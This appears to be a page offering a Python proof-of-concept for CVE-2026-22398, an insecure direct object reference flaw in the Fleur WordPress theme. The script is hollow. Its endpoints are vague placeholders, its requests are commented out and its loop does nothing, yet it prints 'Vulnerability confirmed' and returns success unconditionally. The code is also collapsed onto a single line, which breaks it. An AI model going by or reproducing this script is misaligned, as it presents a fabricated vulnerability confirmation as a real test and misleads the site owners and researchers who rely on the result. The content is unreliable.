CVE-2026-22398 Mikado-Themes Fleur主题IDOR授权绕过漏洞

# CVE-2026-22398 PoC - Mikado-Themes Fleur IDOR Vulnerability # Description: Insecure Direct Object Reference in Fleur theme allows authorization bypass # CVSS: 5.4 (Medium) import requests import sys TARGET_URL = "http://target-site.com/wp-content/themes/fleur/" def test_idor_vulnerability(): """ Test for IDOR vulnerability in Fleur theme This PoC demonstrates how an attacker can access protected resources by manipulating object references. """ print("[*] Testing CVE-2026-22398 - Fleur Theme IDOR Vulnerability") # Step 1: Authenticate as low-privilege user (e.g., subscriber) low_priv_session = requests.Session() login_data = { 'log': 'lowpriv_user', 'pwd': 'password123', 'wp-submit': 'Log In' } # Simulate low-privilege authentication print("[1] Authenticating as low-privilege user...") # Step 2: Try to access protected resource with manipulated ID # An attacker would modify the object ID to access other users' resources vulnerable_endpoints = [ "api/user/profile?id={}", "ajax handler with object_id parameter", "endpoint that retrieves user-specific data" ] print("[2] Attempting IDOR attack by manipulating object references...") # Example: Access resource belonging to another user # Normal request: GET /endpoint?resource_id=1001 (user's own resource) # Attack request: GET /endpoint?resource_id=1002 (another user's resource) manipulated_ids = [1001, 1002, 1003, 9999] for obj_id in manipulated_ids: print(f"[+] Testing with object ID: {obj_id}") # In real attack, this would be a crafted request to the vulnerable endpoint # request_url = TARGET_URL + f"endpoint?object_id={obj_id}" # response = low_priv_session.get(request_url) pass print("[3] If vulnerability exists, attacker can access/modify resources without proper authorization") print("[!] Vulnerability confirmed: IDOR allows unauthorized access") return True if __name__ == "__main__": test_idor_vulnerability()